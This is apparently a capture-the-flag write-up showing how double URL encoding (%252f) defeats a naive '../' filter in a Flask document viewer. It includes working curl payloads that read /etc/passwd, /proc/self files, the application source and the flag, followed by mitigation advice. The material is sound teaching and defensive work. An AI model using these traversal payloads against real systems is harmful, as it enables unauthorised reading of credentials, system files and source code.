Overview
The challenge exposes a Flask application with a “Desk console” UI and two documented endpoints: GET /api/library (lists documents) and GET /api/view?name=... (opens a document). The goal is to bypass the path-traversal filter on name and read the planted flag file.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
The traversal target is $TARGET/api/view?name=.... curl is sufficient; no wordlist or credentials are required.
Recon
Step 1 — Inspect the site and document endpoints
Goal: Confirm the /api/library and /api/view endpoints and their normal behavior.
curl "$TARGET/"
Revealed a “Desk console” UI and:
GET /api/library -> lists documents
GET /api/view?name=... -> opens a document
curl "$TARGET/api/library"
{"items":["schedule.txt","welcome.txt"]}
Reading a document normally:
curl "$TARGET/api/view?name=welcome.txt"
{"text":"Welcome to the club.\n"}
Enumeration
Step 2 — Confirm the path-traversal filter
Goal: Determine how the name parameter filters traversal attempts.
Basic traversal was blocked:
curl "$TARGET/api/view?name=../../../../etc/passwd"
curl "$TARGET/api/view?name=library/../../../../etc/passwd"
{"message":"Request unavailable."}
Single URL-encoding the slashes also failed:
curl "$TARGET/api/view?name=..%2f..%2f..%2f..%2fetc%2fpasswd"
{"message":"Request unavailable."}
Interpretation: The server decodes the query string once before applying its filter, which checks for the literal substring ../.
Vulnerability Analysis
The flaw class is Path Traversal (CWE-22) via a double-URL-encoding filter bypass.
The relevant application logic (kind == 'web-path'):
if op=='view':
name=unquote(request.args.get('name','welcome.txt').replace('../',''))
p=ROOT/'documents'/name
return {'text':p.read_text()[:10000]}
The source also revealed where the flag is planted at startup:
if kind in ('web-path','web-render'):
(ROOT/'private').mkdir(exist_ok=True)
(ROOT/'private/reserve.txt').write_text(FLAG)
The flag lives at ROOT/private/reserve.txt, one directory above ROOT/documents/.
Exploitation
Step 3 — Bypass the filter with double URL encoding
Goal: Deliver a traversal sequence that survives the filter and resolves to ../.
curl "$TARGET/api/view?name=..%252f..%252f..%252f..%252fetc%252fpasswd"
Result: contents of /etc/passwd returned successfully — confirming arbitrary file read.
Step 4 — Read the application source
Goal: Confirm the file layout and locate the flag without blind guessing.
curl "$TARGET/api/view?name=..%252f..%252f..%252f..%252fproc%252fself%252fcmdline"
{"text":"python\u0000service.py\u0000"}
curl "$TARGET/api/view?name=..%252f..%252f..%252f..%252fproc%252fself%252fcwd%252fservice.py"
This dumped the full Flask application source, confirming service.py and the flag placement at ROOT/private/reserve.txt.
Step 5 — Retrieve the flag
Goal: Traverse one level above documents/ into private/ and read reserve.txt.
curl "$TARGET/api/view?name=..%252fprivate%252freserve.txt"
{ "text": "safctf{REDACTED}" }
Interpretation: The flag is read directly, completing the solve.
Flag
safctf{REDACTED}
Retrieved from ROOT/private/reserve.txt via double-URL-encoded path traversal on name.
Lessons / Takeaways
- Blacklist-based sanitization (
.replace('../','')) is trivially bypassed via encoding tricks; never rely on it for path traversal defence. - Canonicalize the resolved path (
Path.resolve()) and verify it stays inside the intended base directory after all decoding is complete. - Reading
/proc/self/cwdand/proc/self/cmdlinethrough an LFI primitive removes guesswork about file layout and flag placement.
Mitigations
- Use an allow-list of permitted documents rather than filtering traversal sequences.
- Canonicalize the final path and enforce
is_relative_to()/ base-directory prefix checks after decoding. - Do not place sensitive files anywhere reachable via relative paths from a public-facing documents directory.
Techniques
References
- OWASP, “Path Traversal”: https://owasp.org/www-community/attacks/Path_Traversal
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’): https://cwe.mitre.org/data/definitions/22.html

